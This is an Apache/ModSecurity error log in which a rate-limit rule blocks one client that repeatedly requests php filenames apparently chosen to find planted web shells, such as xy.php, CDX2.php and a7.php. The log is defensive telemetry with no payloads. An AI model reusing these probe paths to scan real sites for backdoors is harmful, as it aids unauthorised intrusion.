[Fri Apr 03 02:47:34.016335 2026] [:error] [pid 25470:tid 25483] [client 158.158.120.135:8627] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/less.php"] [unique_id "ac65xnhROcck6_9HYyhsmgAAAMs"]
[Fri Apr 03 02:47:34.496746 2026] [:error] [pid 25470:tid 25473] [client 158.158.120.135:24967] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/less.php"] [unique_id "ac65xnhROcck6_9HYyhsngAAAME"]
[Fri Apr 03 02:47:35.023036 2026] [:error] [pid 25470:tid 25476] [client 158.158.120.135:58511] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/less.php"] [unique_id "ac65x3hROcck6_9HYyhsoAAAAMQ"]
[Fri Apr 03 02:47:35.502424 2026] [:error] [pid 25470:tid 25483] [client 158.158.120.135:43194] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/less.php"] [unique_id "ac65x3hROcck6_9HYyhspAAAAMs"]
[Fri Apr 03 02:47:36.037323 2026] [:error] [pid 25010:tid 25367] [client 158.158.120.135:24978] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac65yI_KcjFQF5TuqTXg-gAAABI"]
[Fri Apr 03 02:47:36.538591 2026] [:error] [pid 25470:tid 25494] [client 158.158.120.135:57818] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac65yHhROcck6_9HYyhssAAAANY"]
[Fri Apr 03 02:47:37.017278 2026] [:error] [pid 25470:tid 25472] [client 158.158.120.135:54520] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac65yXhROcck6_9HYyhstAAAAMA"]
[Fri Apr 03 02:47:37.496001 2026] [:error] [pid 25470:tid 25481] [client 158.158.120.135:58548] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac65yXhROcck6_9HYyhstwAAAMk"]
[Fri Apr 03 02:47:37.974613 2026] [:error] [pid 25010:tid 25353] [client 158.158.120.135:45149] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "ac65yY_KcjFQF5TuqTXg_QAAAAU"]
[Fri Apr 03 02:47:38.538740 2026] [:error] [pid 25035:tid 25447] [client 158.158.120.135:24971] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "ac65yhhR292toNOkLqHi6QAAAIU"]
[Fri Apr 03 02:47:39.057208 2026] [:error] [pid 25010:tid 25356] [client 158.158.120.135:45158] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "ac65y4_KcjFQF5TuqTXg_gAAAAg"]
[Fri Apr 03 02:47:39.548309 2026] [:error] [pid 25470:tid 25495] [client 158.158.120.135:57239] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "ac65y3hROcck6_9HYyhsxgAAANc"]
[Fri Apr 03 02:47:40.030745 2026] [:error] [pid 25018:tid 25431] [client 158.158.120.135:41093] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ac65zHupR6lXnAUzFGoeiQAAAFI"]
[Fri Apr 03 02:47:40.508684 2026] [:error] [pid 25035:tid 25454] [client 158.158.120.135:44561] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ac65zBhR292toNOkLqHi8AAAAIw"]
[Fri Apr 03 02:47:41.083923 2026] [:error] [pid 25035:tid 25462] [client 158.158.120.135:60408] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ac65zRhR292toNOkLqHi8wAAAJQ"]
[Fri Apr 03 02:47:41.595627 2026] [:error] [pid 25018:tid 25437] [client 158.158.120.135:60375] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ac65zXupR6lXnAUzFGoejAAAAFg"]
[Fri Apr 03 02:47:42.104529 2026] [:error] [pid 25035:tid 25461] [client 158.158.120.135:60367] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rogsa.php"] [unique_id "ac65zhhR292toNOkLqHi9wAAAJM"]
[Fri Apr 03 02:47:42.588370 2026] [:error] [pid 25470:tid 25493] [client 158.158.120.135:45127] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rogsa.php"] [unique_id "ac65znhROcck6_9HYyhs0QAAANU"]
[Fri Apr 03 02:47:43.090691 2026] [:error] [pid 25470:tid 25490] [client 158.158.120.135:45183] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rogsa.php"] [unique_id "ac65z3hROcck6_9HYyhs2AAAANI"]
[Fri Apr 03 02:47:43.584163 2026] [:error] [pid 25035:tid 25457] [client 158.158.120.135:58521] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rogsa.php"] [unique_id "ac65zxhR292toNOkLqHjAAAAAI8"]
[Fri Apr 03 02:47:50.325147 2026] [:error] [pid 25010:tid 25368] [client 158.158.120.135:58513] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac651o_KcjFQF5TuqTXhOwAAABM"]
[Fri Apr 03 02:47:50.810186 2026] [:error] [pid 25035:tid 25462] [client 158.158.120.135:49266] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac651hhR292toNOkLqHjFAAAAJQ"]
[Fri Apr 03 02:47:51.296618 2026] [:error] [pid 25035:tid 25455] [client 158.158.120.135:45133] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac651xhR292toNOkLqHjFwAAAI0"]
[Fri Apr 03 02:47:51.800734 2026] [:error] [pid 25035:tid 25453] [client 158.158.120.135:43177] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac651xhR292toNOkLqHjHAAAAIs"]
[Fri Apr 03 02:47:52.280134 2026] [:error] [pid 25010:tid 25363] [client 158.158.120.135:9526] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac652I_KcjFQF5TuqTXhQwAAAA4"]
[Fri Apr 03 02:47:52.787691 2026] [:error] [pid 25035:tid 25448] [client 158.158.120.135:60368] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac652BhR292toNOkLqHjIAAAAIY"]
[Fri Apr 03 02:47:53.265970 2026] [:error] [pid 25018:tid 25437] [client 158.158.120.135:49228] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac652XupR6lXnAUzFGoelgAAAFg"]
[Fri Apr 03 02:47:53.747273 2026] [:error] [pid 25010:tid 25351] [client 158.158.120.135:44593] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac652Y_KcjFQF5TuqTXhRgAAAAM"]
[Fri Apr 03 02:47:54.269098 2026] [:error] [pid 25010:tid 25365] [client 158.158.120.135:43184] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac652o_KcjFQF5TuqTXhTAAAABA"]
[Fri Apr 03 02:47:54.758159 2026] [:error] [pid 25010:tid 25363] [client 158.158.120.135:39862] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac652o_KcjFQF5TuqTXhUQAAAA4"]
[Fri Apr 03 02:47:55.237895 2026] [:error] [pid 25470:tid 25486] [client 158.158.120.135:9505] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac6523hROcck6_9HYyhtHQAAAM4"]
[Fri Apr 03 02:47:55.732838 2026] [:error] [pid 25010:tid 25367] [client 158.158.120.135:44569] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac6524_KcjFQF5TuqTXhUwAAABI"]
[Fri Apr 03 02:47:56.256339 2026] [:error] [pid 25010:tid 25361] [client 158.158.120.135:41144] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "ac653I_KcjFQF5TuqTXhVgAAAAw"]
[Fri Apr 03 02:47:56.742628 2026] [:error] [pid 25035:tid 25444] [client 158.158.120.135:24967] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "ac653BhR292toNOkLqHjJwAAAII"]
[Fri Apr 03 02:47:57.234684 2026] [:error] [pid 25010:tid 25354] [client 158.158.120.135:49216] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "ac653Y_KcjFQF5TuqTXhWAAAAAY"]
[Fri Apr 03 02:47:57.711656 2026] [:error] [pid 25470:tid 25480] [client 158.158.120.135:41116] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "ac653XhROcck6_9HYyhtKwAAAMg"]
[Fri Apr 03 02:47:58.203191 2026] [:error] [pid 25010:tid 25361] [client 158.158.120.135:57279] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a8.php"] [unique_id "ac653o_KcjFQF5TuqTXhYgAAAAw"]
[Fri Apr 03 02:47:58.683332 2026] [:error] [pid 25010:tid 25351] [client 158.158.120.135:25005] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a8.php"] [unique_id "ac653o_KcjFQF5TuqTXhZgAAAAM"]
[Fri Apr 03 02:47:59.170856 2026] [:error] [pid 25018:tid 25422] [client 158.158.120.135:45164] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a8.php"] [unique_id "ac6533upR6lXnAUzFGoemAAAAEk"]
[Fri Apr 03 02:47:59.651985 2026] [:error] [pid 25470:tid 25486] [client 158.158.120.135:61686] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a8.php"] [unique_id "ac6533hROcck6_9HYyhtLwAAAM4"]
[Fri Apr 03 02:48:00.140959 2026] [:error] [pid 25018:tid 25418] [client 158.158.120.135:9473] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac654HupR6lXnAUzFGoemwAAAEU"]
[Fri Apr 03 02:48:00.625559 2026] [:error] [pid 25470:tid 25476] [client 158.158.120.135:41103] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac654HhROcck6_9HYyhtOAAAAMQ"]
[Fri Apr 03 02:48:01.103798 2026] [:error] [pid 25470:tid 25487] [client 158.158.120.135:41125] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac654XhROcck6_9HYyhtPAAAAM8"]
[Fri Apr 03 02:48:01.580333 2026] [:error] [pid 25035:tid 25452] [client 158.158.120.135:58533] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac654RhR292toNOkLqHjKwAAAIo"]
[Fri Apr 03 02:48:02.070726 2026] [:error] [pid 25470:tid 25472] [client 158.158.120.135:49250] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac654nhROcck6_9HYyhtQwAAAMA"]
[Fri Apr 03 02:48:02.571646 2026] [:error] [pid 25010:tid 25351] [client 158.158.120.135:43180] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac654o_KcjFQF5TuqTXhagAAAAM"]
[Fri Apr 03 02:48:03.056301 2026] [:error] [pid 25035:tid 25443] [client 158.158.120.135:43140] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac654xhR292toNOkLqHjLwAAAIE"]
[Fri Apr 03 02:48:03.593818 2026] [:error] [pid 25470:tid 25490] [client 158.158.120.135:44581] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac6543hROcck6_9HYyhtSQAAANI"]
[Fri Apr 03 02:48:04.099836 2026] [:error] [pid 25470:tid 25493] [client 158.158.120.135:58498] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "ac655HhROcck6_9HYyhtTgAAANU"]
[Fri Apr 03 02:48:04.610577 2026] [:error] [pid 25470:tid 25478] [client 158.158.120.135:24991] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "ac655HhROcck6_9HYyhtUQAAAMY"]
[Fri Apr 03 02:48:05.095252 2026] [:error] [pid 25010:tid 25357] [client 158.158.120.135:47831] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "ac655Y_KcjFQF5TuqTXhbwAAAAk"]
[Fri Apr 03 02:48:05.602841 2026] [:error] [pid 25470:tid 25486] [client 158.158.120.135:28025] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a7.php"] [unique_id "ac655XhROcck6_9HYyhtVgAAAM4"]
[Fri Apr 03 02:48:06.086413 2026] [:error] [pid 25010:tid 25373] [client 158.158.120.135:28014] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index-20260330022921.php"] [unique_id "ac655o_KcjFQF5TuqTXhcQAAABg"]
[Fri Apr 03 02:48:06.572365 2026] [:error] [pid 25470:tid 25472] [client 158.158.120.135:41147] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index-20260330022921.php"] [unique_id "ac655nhROcck6_9HYyhtWwAAAMA"]
[Fri Apr 03 02:48:07.053586 2026] [:error] [pid 25470:tid 25492] [client 158.158.120.135:47845] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index-20260330022921.php"] [unique_id "ac6553hROcck6_9HYyhtXgAAANQ"]
